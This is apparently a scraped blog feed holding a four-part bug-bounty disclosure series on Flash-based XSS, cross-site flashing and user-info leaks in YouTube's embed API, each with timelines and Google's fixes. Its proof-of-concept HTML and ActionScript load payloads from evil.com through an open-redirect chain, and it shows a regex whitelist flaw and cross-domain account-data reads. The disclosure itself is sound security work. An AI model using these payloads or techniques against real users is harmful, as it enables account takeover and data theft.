When an external website embeds a Youtube iframe, it can send commands to the Youtube iframe using the postMessage api such as playVideo(), pauseVideo(), etc… The Youtube iframe will then transmit the command to the Flash Main App (using the Flash to javascript api).

 

1. Flash based XSS using loadPlaylist command

One particular command is loadPlaylist() which will make the Youtube iframe load a playlist. The argument of loadPlaylist() can either be a Youtube playlist ID or an array of Youtube video IDs. When using an array of Youtube video IDs, it is possible to inject arbitrary poster (thumbnail) image url for each video.
Loading an image in Flash is similar to loading an external Flash file using Loader.load(), so we could load an arbitrary Flash file using this. Main App checks if the url of the poster image is a youtube.com url and then loads the image. Now you might be aware that Google doesn’t believe that open redirections are security issues! This makes url sanitization very difficult, because you just need to provide a youtube.com url that will redirect to an arbitrary location. I didn’t find an open redirector directly on youtube.com. However, I found a youtube.com url that will redirect to any google.com url. From there it was easy to find an open redirector on google.com that would redirect to evil.com. The full url payload was

https://accounts.youtube.com/accounts/SetSID?continue=https://www.google.com/amp/s/evil.com/evil.swf

Once evil.swf is loaded on youtube.com/embed it can execute arbitrary javascript using the Flash to javascript api, which means XSS on youtube.com!

Note: By default only Flash file located on the same domain than the html host page can use the Flash to javascript api. But in youtube.com/embed/[VIDEO_ID] the Main App <object> tag contains the attribute “allowscriptaccess=always” which means that any Flash file loaded by the Main App will be able to use the Flash to javascript api on youtube.com/embed/[VIDEO_ID]

Here is the workflow of the POC:

evil.com/evil.html source code:

<!DOCTYPE html>
<html>
<body>
<!-- Youtube iframe api with forced Flash fallback -->
<iframe id="player" src="https://www.youtube.com/embed/?nohtml5=1"></iframe>
<script>
// Wait 5 seconds to let the Youtube iframe fully load
setTimeout(
function(){
// Send the loadPlaylist command to the Youtube iframe using postMessage api, with the image payload
document.getElementById("player").contentWindow.postMessage('{"command":"loadPlaylist","data":[{"video_id":"xyz","iurl":"https://accounts.youtube.com/accounts/SetSID?continue=https%3A%2F%2Fwww.google.com%2Famp%2Fs%2Fevil.com%2Fevil.swf"}]}', "*");
}
, 5000);
</script>
</body>
</html>

evil.swf source code:

public class Main extends Sprite {
public function Main(){
// Execute arbitrary javascript on youtube.com/embed using ExternalInterface (Flash to javascript api)
ExternalInterface.call("alert", "document.domain + ' XSSed!'");
}
}

Attack Scenario:
Prerequisite: The victim has Flash Player enabled
1. The victim visits evil.com/evil.html
2. evil.html loads youtube.com/embed iframe
3. evil.html sends the loadPlaylist payload
4. youtube.com/embed loads evil.swf
5. evil.swf execute XSS on youtube.com/embed

Mitigation:
Google patched the Main App so that it doesn’t take picture url into account in loadPlaylist arguments.

Timeline:
10/05/2016 Reported to Google
10/11/2016 “Nice catch” and reward
11/09/2016 Bug fixed and verified

 

2. Flash based XSS using trustedLoader Regex

In addition to public commands like playVideo() or loadPlaylist(), Youtube api has private commands that are available only if the webpage that loads the Youtube iframe is from a verified, trusted origin (like youtube.com or drive.google.com/xxx). To do this, the Main App uses a whitelist stored in a regex. The regex is like this :

public static const trustedLoader:RegExp = new RegExp("^https?://((www\.|encrypted\.)?google(\.com|\.co)?\.[a-z]{2,3}/(search|webhp)\?|24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf|www\.gstatic\.com/doubleclick/studio/innovation/h5/layouts/tetris|tpc\.googlesyndication\.com/safeframe/|lightbox-(demos|builder)\.appspot\.com/|([A-Za-z0-9-]{1,63}\.)*(imasdk\.googleapis\.com|corp\.google\.com|borg\.google\.com|docs\.google\.com|drive\.google\.com|googleads\.g\.doubleclick\.net|googleplex\.com|play\.google\.com|prod\.google\.com|sandbox\.google\.com|photos\.google\.com|picasaweb\.google\.com|lh2\.google\.com|plus\.google\.com|books\.googleusercontent\.com|mail\.google\.com|talkgadget\.google\.com|survey\.g\.doubleclick\.net|youtube\.com|youtube\.googleapis\.com|youtube-nocookie\.com|youtubeeducation\.com|vevo\.com)(:[0-9]+)?([\/\?\#]|$))");

Before reading more, you should check the regex yourself and try to find the mistake in it!

 

“.” (dot) is a wildcard in Regex, which means it will match any character. If you only want to match a literal dot, you have to escape it like this “\.”
In trustedLoader RegExp, we have this code :

24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf

where the dots are not escaped. This means that we can replace the dots by any character and it will still match the Regex.
in particular, http://24e12c4a-a-95274a9c-s-sitesAgooglegroups.com/a/google.com/flash-api-test-harness/apiharness.swf will match the regex, and this domain is not owned by Google. It was available so I bought it for 1$! (You could use any alphanumeric character instead of A)
I hosted a html page at http://24e12c4a-a-95274a9c-s-sitesAgooglegroups.com/a/google.com/flash-api-test-harness/apiharness.swf that will load a Youtube iframe and I have access to the private commands of the Youtube api.

Among the private commands there is a function updateVideoData(), that allows you to inject an arbitrary Flash file as a poster image exactly like with loadPlaylist() before. I won’t go into details as the rest of the report is similar to previous one.

Mitigation:
Google patched trustedLoader Regex to properly escape dots like this 24e12c4a-a-95274a9c-s-sites\.googlegroups\.com/a/google\.com/flash-api-test-harness/apiharness\.swf

Timeline:
11/22/2016 Report to Google
11/29/2016 Reward
01/18/2017 Issue fixed and verified

 

3. Flash based XSS using trustedLoader regex… again!

Let’s have a look at the trustedLoader regex again. There are still problems with it! For example

google(\.com|\.co)?\.[a-z]{2,3}
is not a secure way to check that a domain is a Google owned domain because
google.com.fun
for example will match the regex but is not a Google owned domain.
Let’s take another example:
www\.gstatic\.com/doubleclick/studio/innovation/h5/layouts/tetris
is consider a trusted url. But there are XSSes in other www.gstatic.com webpages, and from there we can execute arbitrary javascript on www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris and then load a Youtube iframe, send a updateVideoData() command and execute XSS on youtube.com/embed.

Let’s make a drawing of the attack workflow:

Technical details:
Prerequisite: The victim has Flash Player and opens www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf?chartId=[arbitrary javascript]
1. The arbitrary javascript makes www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf load an iframe at https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris
2-3-4. The arbitrary javascript makes https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris load an iframe at youtube.com/embed
5. The arbitrary javascript sends a updateVideoData() command to Youtube iframe
6. Youtube iframe accepts the command because https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris is a trusted loader, and transmits it to Main App
7. Main App loads arbitrary Flash file (the open redirection was different this time because previous one was fixed)
8. Evil Flash file executes XSS on youtube.com/embed

 

Mitigation:
Youtube removed the option nohtml5=1 to force the Flash fallback. There are still similar vulnerabilities but they are now limited to browsers that can’t play video using html5. This is typically very old browsers that are out of scope for Bug Bounty programs.

Timeline:
02/02/2017 Report to Google
02/02/2017 “Nice catch” from Eduardo, who also advised me to apply to Google Research Grants program
02/14/2017 Reward
04/11/2017 Issue fixed and verified

Conclusion:
You can see that Flash and javascript are very similar and can be used together or you can replace one by the other. The same is true for Flash security and javascript security, this is why I think it is useful to learn about Flash implementation vulnerabilities in order to build more secure javascript applications (especially when there is a Flash fallback). You can also see that Flash based XSS are very similar to DOM XSSes is the sense that they only reveal during code execution and cannot be caught by Web Application Firewalls, browser based mitigation like XSS auditor or even vulnerability scanners.

Thank you very much for reading, and I also want to thank Google VRP team because you are really doing an amazing work!

In the future I will disclose more mixed javascript/Flash bugs from Youtube, Facebook, WordPress and others, and slowly we will get rid of Flash and I will disclose pure javascript vulnerabilities on those domains.

]]>
/2017/09/advanced-flash-vulnerabilities-in-youtube-part-4/feed/ 4 188
Advanced Flash Vulnerabilities in Youtube – Part 3 /2017/08/advanced-flash-vulnerabilities-in-youtube-part-3/?utm_source=rss&utm_medium=rss&utm_campaign=advanced-flash-vulnerabilities-in-youtube-part-3 Wed, 30 Aug 2017 12:04:52 +0000 /?p=64 Read More]]> III. XSF via loaderinfo.url redefinition

Let’s have a look at how the Main App loads the Modules :

The url of the module is dynamically generated by the main app by using it’s own url (2) and replacing the filename (watch_as3.swf) by the module filename (subtitles.swf) (3). This allows to handle multiple versions on the Main App, each one with it’s own Modules location.

To find it’s own url, the main app uses the loaderinfo.url property of appLoader.

Since appLoader is similar to an <iframe> in html, appLoader.loaderInfo.url is similar to the “src” attribute of the iframe.

In flash a Loader can load multiple swf files while in html an iframe can only load one window at a time

This means that if appLoader first loads the Main App and then immediately loads another Flash file the loaderinfo.url property of the Main app will not reflect the url of the Main App but instead the url of the other loaded flash file.
POC workflow

We removed Youtube Wrapper and replaced it with Evil Wrapper. Evil Wrapper will first load the Main App (1), and then immediately load another file (Noop.swf) with the same Loader appLoader (2). When the Main app will try to load a Module, it will get the appLoader url value (3) (evil.com/Noop.swf), replace the filename with the module name (evil.com/subtitles.swf) and load an arbitrary Flash file into it own Flash security sandbox (4).

From there Evil Module will be in the Main App Security Sandbox and will appear to be located at s.ytimg.com/[[IMPORT]]/evil.com/subtitles.swf. However, s.ytimg.com is a sandboxed domain which doesn’t have any cookie, CSRF token or webpage to exploit.

In part 2 I introduced URLLoader, which is similar to XHR. You can make cross-domain requests with URLLoader if the remote server has a crossdomain.xml file allowing “s.ytimg.com”

crossdomain.xml mechanism is similar to CORS headers for XHR cross-domain requests in javascript

The good news is that https://www.youtube.com/crossdomain.xml does allow https://s.ytimg.com/. Even more, https://drive.google.com/crossdomain.xml, https://docs.google.com/crossdomain.xml and other google domains also allow https://s.ytimg.com/.

This means that Evil Module can send requests to any URL at youtube.com, drive.google.com and docs.google.com (including POST requests and custom headers) and read the response source code (5).
Attack scenario:
1. The victim is logged in Youtube or Google Drive and has Flash player
2. The victim visits the attacker evil.com/evil.html page which contains a Flash object evil.com/evil.swf
3. The attacker has control over the victim’s Youtube, Google Drive and Google Docs accounts

Impact:
The attacker can steal private information, CSRF tokens and perform any CSRF action on these domains. A very nasty exploit could steal and delete all the victim Google Drive files and then post the POC url on Youtube comments from the victim account to spread the exploit. I won’t provide such POC (I would like to safely return to DefCon next year…) but it would only take about 20 LOC to build it!

Timeline:
09/11/2015 – reported to Google VRP
09/16/2015 – “Nice catch” from Google
09/25/2015 – Temporary mitigation and reward
10/14/2015 – Issue fixed and verified

Conclusion:
When using a sandboxed domain for hosting untrusted applications, like s.ytimg.com, you should always make sure that the sandboxed domain has no privilege on sensitive domains, like crossdomain.xml files, CORS, framing or CSP.

[UPDATED] Part 4 is now online with 3 Flash based XSS on Youtube!

You can also see a live Flash based XSS on twitter here

]]>
64
Advanced Flash Vulnerabilities in Youtube – Part 2 /2017/08/advanced-flash-vulnerabilities-in-youtube-part-2/?utm_source=rss&utm_medium=rss&utm_campaign=advanced-flash-vulnerabilities-in-youtube-part-2 Wed, 30 Aug 2017 11:21:40 +0000 /?p=53 Read More]]> II. XSF via appLoader

In Part 1, I introduced an information leakage vulnerability in Youtube. In this part I will disclose a more severe vulnerability that allows arbitrary Flash code execution in youtube.com.
This type of vulnerability is very similar to XSS except we execute Flash code instead of Javascript. It is called Cross-Site Flashing (XSF) or Same-Origin Policy Bypass using Flash.

It will get a little bit more complex, you can read more about Flash security model here.

Let’s have a look at the Youtube Flash Api, this time showing the security sandboxes.

A Loader object can load an external Flash file in 2 ways :

(1) In the normal way, the 2 Flash files are in separate Security Sandboxes (like with <iframe> in html)

(2) If the loader uses the argument “SecurityDomain.currentDomain“, the loaded Flash file will execute in the loader security sandbox (similar to <script src=””> in html, which is very different than loading an <iframe>!). This is how the Main App loads the Modules.
Note: don’t be fooled by the fact that the Main App and Modules files are both located in the same domain s.ytimg.com, this is not the reason why they are in the same security sandbox here, but because the Main App uses the argument “SecurityDomain.currentDomain” to load Modules.

We already saw in Part 1 a technique to access the Youtube appLoader property using youtubeWrapper.getChildAt(0). This time we will use appLoader to load another external file into Youtube security sandbox using appLoader.load(“evil.com/evil2.swf”, SecurityDomain.currentDomain).

 

Here is the POC workflow

And the POC code:

var loader = new Loader();
// Load the Youtube Wrapper (1)
loader.load(new URLRequest("https://www.youtube.com/v/[VIDEO_ID]"));
var youtubeWrapper = loader.content;
// Access the Youtube Wrapper appLoader object (3)
var appLoader = youtubeWrapper.getChildAt(0);
// Load evil2.swf in youtubeWrapper security sandbox. (4)
appLoader.load(new URLRequest("http://evil.com/evil2.swf"), new LoaderContext(false, ApplicationDomain.currentDomain, SecurityDomain.currentDomain));
// evil2.swf can execute arbitrary code in youtube.com security sandbox (5)

 

Technical details:
SecurityDomain.currentDomain is a relative value, since it’s apply to the current Security Sandbox. Flash documentation states that it is the security sandbox of the file where the instruction is written. Nice and easy, however, it is proven to be more complex here.

appLoader is instantiated in Youtube Wrapper, but the call to appLoader.load(evil.com/evil2.swf, SecurityDomain.currentDomain ) is written in evil.swf. So evil2.swf should normally load in evil.swf security sandbox. If you debug the Flash execution, this is what is happening first (when looking for crossdomain.xml file). But at the last moment, because appLoader was instantiated in Youtube Wrapper, evil2.swf will actually execute in Youtube security sandbox.

Once evil.com/evil2.swf is loaded in Youtube security sandbox, the Flash Player will treat it like if it was located at https://www.youtube.com/v/xxx/[[IMPORT]]/http://evil.com/evil2.swf.
This means that evil2.swf can send request to any https://www.youtube.com/ URL and read response source code using URLLoader.

URLLoader is similar to XHR in javascript.

Impact:
Using this vulnerability, an attacker could access any private data on the victim’s Youtube account. It could access private videos, post comments on behalf of the victim or delete all the victim’s videos. The impact is similar to a reflective XSS on youtube.com.

Attack scenario:
Prerequisite : The victim is logged in Youtube and have Flash active
1 The victim visits http://evil.com/evil.html
2 The attacker has control over the victim’s Youtube account

Timeline:
05/20/2016 – reported to Google VRP
05/20/2016 – “Nice catch” from Google
05/24/2016 – reward
06/07/2016 – Issue fixed and verified
 
Conclusion:
Security Sandbox is a great tool but it is complex and implemented deep inside the core language, making it difficult for developers to predict the exact behavior for edge cases (in particular if the language is not open source). Always be careful when using it.
 
In Part 3, I will disclose another XSF and show how Flash vulnerability can be even more dangerous than XSS in some cases.
 

]]>
53
Advanced Flash Vulnerabilities in Youtube – Part 1 /2017/08/advanced-flash-vulnerabilities-in-youtube/?utm_source=rss&utm_medium=rss&utm_campaign=advanced-flash-vulnerabilities-in-youtube /2017/08/advanced-flash-vulnerabilities-in-youtube/#comments Fri, 25 Aug 2017 10:26:45 +0000 /?p=8 Read More]]> Why Flash Security still matters?

Flash is still an active threat. In 2017, I reported Flash vulnerabilities to Facebook, Youtube, WordPress, Yahoo, Paypal and Stripe. Over the last 3 years, I reported more than 50 Flash vulnerabilities to Bug Bounty programs. And there are many more I didn’t have the time to report or that weren’t fixed after I reported it.


In addition, Flash has been replaced by new javascript/html5 features. These features introduce complexity and new kind of vulnerabilities like bad CORS implementation, DOM XSSes triggered by postMessage or XHR requests, active mixed content… Learning from Flash mistakes can help design and implement more secure javascript applications. The new Youtube html5 Api is mostly a porting of the Youtube Flash Api to javascript, making it interesting to study. In fact, I was able to find XSSes in the Youtube html5 Api using my knowledge of the Flash Api.
I’ll explain some advanced Flash vulnerabilities I found in Youtube Flash Api and in the process I will draw a parallel with html/javascript security. This is quite technical so feel free to comment or to tweet me (@opnsec) if something is not clear or if you want to add something. You can also read more about Flash security model here.

Reverse engineering Youtube Flash Api

Youtube Flash Api allows developers to embed a Youtube video in an external website.
Here is the workflow of the Api:

The entry point, Youtube Wrapper, is a Flash file located at youtube.com/v/[VIDEO_ID], it is just a wrapper between the HTML page and the Main App.
The Main Application is a large flash file of about 100k LoC and is located in a sandboxed domain s.ytimg.com.
The Modules handle optional functions like subtitles or advertisements. They are not stand-alone Flash files and can only be loaded by the Main App.

In addition there is a Flash to Javascript Api that allows the html page to send commands to the Youtube Api like play(), pause(), etc… Flash files will also perform “ajax style” cross-domain requests to load configuration files and video data.

I. User info leakage

Let’s start with a simple vulnerability. Here is a simplified version of Youtube Wrapper code in Flash ActionScript3 (AS3) :

public class YoutubeWrapper extends Sprite{

private var user_name = "The Victim";
private var user_picture = "https://googleusercontent.com/.../victim_photo.jpg";
private var appLoader = new Loader();

public function YoutubeWrapper(){
// allow external javascript/Flash files to access its public properties
Security.allowDomain("*");
// load the Main App
this.appLoader .load(new URLRequest("https://s.ytimg.com/.../watch_as3.swf");
// add as child of display container
this.addChild(this.appLoader );
// loaderInfo.sharedEvents Api
this.loader.contentLoaderInfo.sharedEvents
.addEventListener("REQUEST_USERINFO", this.onRequestUserinfo);
}
private function onRequestUserinfo(event:Event){
// write the user info into the event.data property
// which is accessible to the sharedEvents caller
event.data.user_name = this.user_name;
event.data.user_image = this.user_image;
}
}

Youtube Wrapper is generated on the fly and its property “user_name” contains the Google user name (if he is connected to Google). The property “user_picture” contains the link to the user profile picture. In this bug, the attacker will steal these values.

Youtube Wrapper can be loaded from the developer own Flash file (let’s call it Evil Wrapper). In that case, they both executes in a different Flash security sandbox.

Loading an external Flash file in Flash is a little bit similar to loading an <iframe> in html. If the iframe is from a different origin than its parent, they cannot access each other properties due to the Same-Origin Policy (SOP)

Youtube Wrapper contains the code Security.allowDomain(“*”) to allow javascript on the hosting webpage to send commands to the Flash app like play(), pause(),etc… This also means that Evil Wrapper can access any public property of Youtube Wrapper as if it was in the same Security sandbox. However it cannot access private properties.

The user_name property is private so Evil Wrapper cannot access it.

Flash also provides an Api for communication between a Loader and a loaded file using loaderInfo.sharedEvents. Youtube Wrapper uses this api to communicate with the Main App. When the Main App dispatches an event to the sharedEvents Api, the Youtube Wrapper receives the event and send back the user info using the event.data property.
loaderInfo.sharedEvents is not only accessible to the loader and the loaded files, but also to any Flash file that has a reference to this loaderInfo object.

This is similar to the javascript postMessage Api which allows communication between cross-domain iframes. The postMessage Api is accessible not only to the iframe and its parent but also to any other window that has a reference to the iframe or the parent. Any arbitrary domain can access these references using window.open and window.frames, which are not restricted by the SOP.

If Evil loader can access this particular loaderInfo object it will be able to send an event to the Youtube Wrapper and steal the user info.
loaderInfo is a property of appLoader which is a private property of the Youtube Wrapper, so Evil Wrapper cannot access it.

However, when using a Loader, if you want to display the loaded file, you have to add it as a child of the Display Container. This is usually done using
this.addChild(this.loader); and this is exactly what the Youtube Wrapper does.
The thing is that the Youtube Wrapper also have a built-in public method getChildAt() that will return the children of the Youtube Wrapper. This means that Evil Wrapper can call YoutubeWrapper.getChildAt(0) which will return the loader object, bypassing the privacy of the loader property.

Setting a property as “private” is called encapsulation. However, only the reference is private, not the object the reference points to.

From there Evil Wrapper can access YoutubeWrapper.getChildAt(0).loaderInfo.sharedEvents which is the interface between Youtube Wrapper and the Main App. Evil Wrapper can send an event to the Youtube Wrapper, the Youtube Wrapper will provide the user info in the event.data property and Evil Wrapper can then read the event.data value.
Proof of Concept :

Evil Wrapper code was like this

var loader = new Loader();
// Load the Youtube Wrapper
loader.load(new URLRequest("https://www.youtube.com/v/[VIDEO_ID]"));
var youtubeWrapper = loader.content;
// Access the Youtube Wrapper appLoader object
var appLoader = youtubeWrapper.getChildAt(0);
// Access the loaderInfo.sharedEvents of appLoader
var LeakingSharedEvents = appLoader.contentLoaderInfo.sharedEvents;

// Prepare the event to send to Youtube Wrapper
var leakEvent = new Event("Request_username");
leakEvent.data = new Object();
// Send the leakEvent to the LeakingSharedEvents
LeakingSharedEvents.dispatchEvent(leakEvent);

// The username is now accessible in the event.data property
trace(leakEvent.data.user_name);
trace(leakEvent.data.user_picture);

POC workflow :


Attack scenario:
Prerequisite: The victim is logged in Google and have Flash player
(1) The victim visits the attacker webpage evil.com/evil.html which contains a Flash object evil.com/evil.swf
(2) evil.swf loads Youtube wrapper (https://www.youtube.com/v/[VIDEO_ID]) and retrieves the user Google username (4-5-6)
evil.com now knows the username of it’s visitors. In addition, as the profile picture link is unique, it is possible to uniquely identify the user’s Google account.

Impact:
Any website could use this to know the identity of it’s users, if they are connected to Google. Imagine how you would feel if you visit a random website and this website displays your name and your picture!

Mitigation:
To resolve this issue, Youtube Wrapper stopped writing the user info in the event.data property and instead sends it directly to the Main App. That way even if Evil Wrapper sends an event to Youtube Wrapper, it wouldn’t receive the user info as it would be directly sent to the Main App.

Timeline:
08/27/2015 – reported to Google VRP
09/09/2015 – issue fixed and reward
This was a simple bug and I hope it helps you understand the basic challenges here. You can read about another bug where we actually execute arbitrary Flash code in youtube.com in Part 2.

]]>
/2017/08/advanced-flash-vulnerabilities-in-youtube/feed/ 7 8